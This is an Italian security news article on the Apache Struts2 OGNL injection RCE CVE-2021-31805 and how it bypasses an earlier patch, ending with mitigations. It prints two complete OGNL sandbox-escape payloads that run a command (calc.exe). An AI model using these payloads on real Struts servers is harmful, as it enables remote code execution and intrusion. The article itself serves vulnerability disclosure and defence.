Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca

Apache Struts2: nuova RCE di bypass della patch. Scopriamo la PoC.

Redazione RHC : 13 Aprile 2022 22:29

Chi si ricorda la massiccia violazione informatica di Equifax del 2017?

Un databreach colossale di 148 milioni di record personali e di carte di credito di americani, realizzata utilizzando una famosa deserialization del framework Apache Struts2.

Struts è un framework di sviluppo di applicazioni open source, utilizzato dagli sviluppatori Web Java per la creazione di app Model-View-Controller (MVC). Struts era molto in voga qualche anno fa e ha prodotto centinaia di migliaia di applicazioni in tutto il mondo e anche molti incidenti di sicurezza informatica, derivanti a molti bug di sicurezza di severity critical.

Una nuova Remote Code Execution

Apache, ha corretto una nuova vulnerabilità critica nel suo popolare progetto Struts che in precedenza si credeva fosse stata risolta.

Infatti, la Cybersecurity and Infrastructure Security Agency (CISA) sta esortando gli utenti e gli amministratori a eseguire l’aggiornamento alle versioni più recenti di Struts 2.

Il difetto è l’ennesima Remote Code Execution (RCE), dove si stanno esortando le organizzazioni a eseguire l’aggiornamento a Struts2 versione 2.5.30 (o successiva) che risolve la vulnerabilità critica di OGNL Injection.

Rilevata come CVE-2021-31805, la vulnerabilità critica esiste nelle versioni Struts 2 dalla 2.0.0 fino alla 2.5.29 inclusa. La vulnerabilità deriva da una correzione incompleta alla CVE-2020-17530, anch’esso un bug di OGNL Injection, con un livello di gravità di 9,8 (critico).

Cos’è Object-Graph Navigation Language e la vecchia RCE

Object-Graph Navigation Language (OGNL) è un linguaggio di espressione (EL) open source realizzato per Java, che semplifica le espressioni utilizzate nel linguaggio di programmazione. OGNL consente agli sviluppatori di lavorare con gli array molto facilmente. Tuttavia, l’analisi delle espressioni OGNL sulla base di input utente non attendibile o non elaborato, può essere problematico dal punto di vista della sicurezza.

Già nel 2020, i ricercatori Alvaro Munoz di GitHub e Masato Anzai di Aeye Security Lab avevano segnalato un difetto nelle versioni Struts2 2.0.0 – 2.5.25, in determinate circostanze.

“Alcuni degli attributi del tag potrebbero eseguire una valutazione OGNL forzata, utilizzando la sintassi %{…}”

afferma l’avviso per la CVE-2020-17530.

“L’utilizzo della valutazione OGNL forzata sull’input di un utente non attendibile, può portare a un’esecuzione di codice in remoto”.

Sebbene Apache avesse risolto il bug del 2020 in Struts 2.5.26, il ricercatore Chris McCown ha successivamente scoperto il bypass della patch. McCown ha riportato responsabilmente ad Apache che il problema della “doppia valutazione” poteva ancora essere riprodotto nelle versioni Struts 2.5.26 e successive, di fatto assicurandosi la nuova CVE-2021-31805.

Uno sguardo allo sfruttamento della RCE

Struts2 esegue la valutazione OGNL su vari attributi degli elementi .jsp. Gli sviluppatori definiscono il valore di un attributo con la sintassi “%{}” per rendere dinamica quella pagina e inserire i parametri dell’URL. Ad esempio, se desideri passare il parametro URL ‘skillName’ a una pagina, procedi come segue:
https:///?skillName=abctest

Il codice sul backend esegue una singola valutazione OGNL per recuperare gli input passati dai parametri GET. O almeno è così che dovrebbe funzionare. Esiste una vulnerabilità quando quel valore definito dall’utente finisce per ricevere la valutazione OGNL eseguita due volte. 

Se si utilizzava un tag di ancoraggio definito nella jsp simile al seguente e si passava un valore idVal=%{3*3} l’input avrebbe portato ad una doppia valutazione OGNL

//example//result

La correzione per questo problema è riportata qua. Il nucleo della correzione era incentrato sulla classe UIBean. 

Una delle due valutazioni OGNL si è verificata nella funzione setId, quando ha chiamato findString(id) ed è stato aggiunto un controllo di ricorsione per non valutare OGNL quando il parametro name conteneva “%{” o “}”.  

La nuova escape della Remote Code Execution (RCE)

Struts2 definisce le classi e i pacchetti esclusi nel file struts-default.xml. Questi erano i pacchetti aggiuntivi aggiunti all’elenco dei blocchi in 2.5.26.

 Oltre a tutte queste restrizioni relative a classi/pacchetti, le regole sandbox OGNL includono:

  • Non è possibile chiamare un metodo statico
  • Non è possibile utilizzare meccanismi di reflaction 
  • Non è possibile creare un nuovo oggetto 

Anche dopo essere sfuggiti alla lista nera non puoi chiamare direttamente il Runtime. Ciò rende le cose molto difficili perché questa sandbox è diventata continuamente più sicura ad ogni iterazione e ha ridotto l’enorme panorama di possibili exploit RCE. 

Ma ci sono ancora alcune possibilità inesplorate. Se cerchi la PoC per S2-061 probabilmente ti verrà in mente quanto segue:

%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + 
(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}

Questo valuta efficacemente:

//Place valuestack in a beanmap map
application.map = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map.setBean(#request.get('struts.valueStack'));

//grab the context variable from valuestack and place in beanmap map2
application.map2 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map2.setBean(#application.get('map').get('context'));

//grab the memberaccess variable from context variable and place in beanmap map3
application.map3 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map3.setBean(#application.get('map2').get('memberAccess'));

//clear block lists found in memberaccess, by creating empty lists in their place. 
application.get('map3').put(excludedPackageNames', new HashSet());
application.get('map3').put(excludedClasses', new HashSet());

//break out of sandbox restrictions and now execute calc.exe
application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}));

Quando OGNL viene valutato in Struts2, ha nel suo contesto la mappatura di alcuni valori predefiniti che mappano agli oggetti. Alcuni di questi includono ‘#application’, ‘#request’, ‘#attr’, per esempio. 

Quindi, quando chiami %{#application.toString()} stai invocando quell’oggetto e la sua funzione toString. Ci sono alcuni ricercatori di grande talento che hanno scoperto che puoi aggirare in punta di piedi le restrizioni sandbox OGNL/Struts usando 

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

Per creare una BeanMap e utilizzare le relative funzioni setBean e put per cancellare i nomiExcludedPackageName e le classi escluse e quindi annullare le restrizioni sandbox. 

È fantastico, ma le nuove restrizioni sandbox bloccano l’uso di org.apache.tomcat.*

Bypassare le restrizioni sandbox S2-061

Dopo aver cercato di utilizzare strumentidii callgraph come software-forensic-kit, debugger e leggere il codice riga per riga, il ricercatore stavas iniziando a pensare che non fosse più possibile. 

Aveva trovato numerosi modi per raccogliere informazioni interessanti tramite exploit o per causare strani comportamenti dell’interfaccia utente sulle funzioni di ritorno ma non era ancora riuscito ad uscire dalla sandbox.

Alla fine, utilizzando un modo completamente differente di analisi, ha notato la sezione su “Maps”. 

Si rese conto che poteva creare una mappa della propria classe. 

Quindi https:///?skillName=#@java.util.LinkedHashMap@{“foo”:”value”} crea un oggetto LinkedHashMap e lo popola con “foo”:”value”. 

Poteva creare anche un oggetto BeanMap. Pertanto il metodo precedente per ottenere una BeanMap era:

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap') 

Ora poteva riuscire a farlo semplicemente usando: 

#@org.apache.commons.collections.BeanMap@{}

Non ci sono restrizioni sandbox per l’utilizzo di org.apache.commons.collections.BeanMap, quindi creandolo direttamente, utilizzando la speciale sintassi OGNL si ignorano tutte le precedenti restrizioni sandbox. 

Applicando quel concetto e rimuovendo “%{” “}” al POC precedente, il nuovo RCE completo che potesse eseguire la famosa “calc.exe” era diventato il seguente:

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
La PoC in esecuzione

Mitigazioni

Questi elementi UIBean eseguono una seconda valutazione OGNL sull’attributo “name” perché un attributo “value” non esiste e sta cercando di riempire quell’attributo. Quindi, dando a tutti i tuoi attributi un valore vuoto=”” questo aiuterà a mitigare questo problema. (es:

L’aggiunta di org.apache.commons.collection.BeanMap all’elenco delle classi escluse della sandbox Struts2 ne escluderebbe l’uso diretto e quindi l’utilizzo della PoC.

Si consiglia agli utenti di eseguire l’aggiornamento a Struts 2.5.30 o versioni successive e di evitare di utilizzare la valutazione OGNL negli attributi del tag. Inoltre, Apache consiglia di seguire la sua guida per applicare le migliori pratiche di sicurezza.

Lista delle CVE con severity Critical > 10 su Struts2

Noi aggiungiamo, visto che Struts2 è un framework con ricorrenti problematiche di sicurezza (come visto nell’immagine precedente), consigliamo sempre un replatforming applicativo.

Fonte

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.